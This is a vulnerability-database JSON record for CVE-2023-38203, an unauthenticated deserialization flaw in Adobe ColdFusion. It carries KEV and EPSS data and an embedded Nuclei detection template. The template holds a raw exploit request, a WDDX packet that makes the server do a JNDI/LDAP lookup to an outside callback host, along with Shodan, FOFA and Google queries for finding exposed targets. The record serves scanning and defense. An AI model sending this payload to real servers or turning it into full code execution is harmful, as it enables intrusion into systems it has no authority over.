{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-38203/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-38203/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-38203/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-38203/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-38203/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-38203"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-38203"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.97074,
      "kev": true,
      "percentile": 0.99889
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-38203.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2023-38203\n\ninfo:\n  name: Adobe ColdFusion - Deserialization of Untrusted Data\n  author: yiran\n  severity: critical\n  description: |\n    Adobe ColdFusion versions 2018u17 (and earlier), 2021u7 (and earlier) and 2023u1 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Upgrade to Adobe ColdFusion version ColdFusion 2018 Update 18, ColdFusion 2021 Update 8, ColdFusion 2023 Update2 or later to mitigate this vulnerability.\n  reference:\n    - https://blog.projectdiscovery.io/adobe-coldfusion-rce/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-38203\n    - https://github.com/Ostorlab/KEV\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-38203\n    cwe-id: CWE-502\n    epss-score: 0.97074\n    epss-percentile: 0.99889\n    cpe: cpe:2.3:a:adobe:coldfusion:2018:-:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: adobe\n    product: coldfusion\n    shodan-query:\n      - http.component:\"Adobe ColdFusion\"\n      - http.component:\"adobe coldfusion\"\n      - http.title:\"coldfusion administrator login\"\n      - cpe:\"cpe:2.3:a:adobe:coldfusion\"\n    fofa-query:\n      - app=\"Adobe-ColdFusion\"\n      - app=\"adobe-coldfusion\"\n      - title=\"coldfusion administrator login\"\n    google-query: intitle:\"coldfusion administrator login\"\n  tags: cve,cve2023,adobe,rce,coldfusion,deserialization,kev,vkev,vuln\nvariables:\n  callback: \"{{interactsh-url}}\"\n  jndi: \"ldap%3a//{{callback}}/zdfzfd\"\n\nhttp:\n  - raw:\n      - |\n        POST /CFIDE/adminapi/base.cfc?method= HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        argumentCollection=<wddxPacket+version%3d'1.0'><header/><data><struct+type%3d'xcom.sun.rowset.JdbcRowSetImplx'><var+name%3d'dataSourceName'><string>{{jndi}}</string></var><var+name%3d'autoCommit'><boolean+value%3d'true'/></var></struct></data></wddxPacket>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, \"dns\")\n          - contains(body, \"ColdFusion documentation\")\n        condition: and\n# digest: 4a0a0047304502200138573daa59cb1f680093c6590ab3014f8abd206630854bdfc45a1e6406c59e0221009d9ad007b8866d9fac3a43b917bdb3b652eca0315ee22d447babd2b2e8b0c0e1:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-38203"
}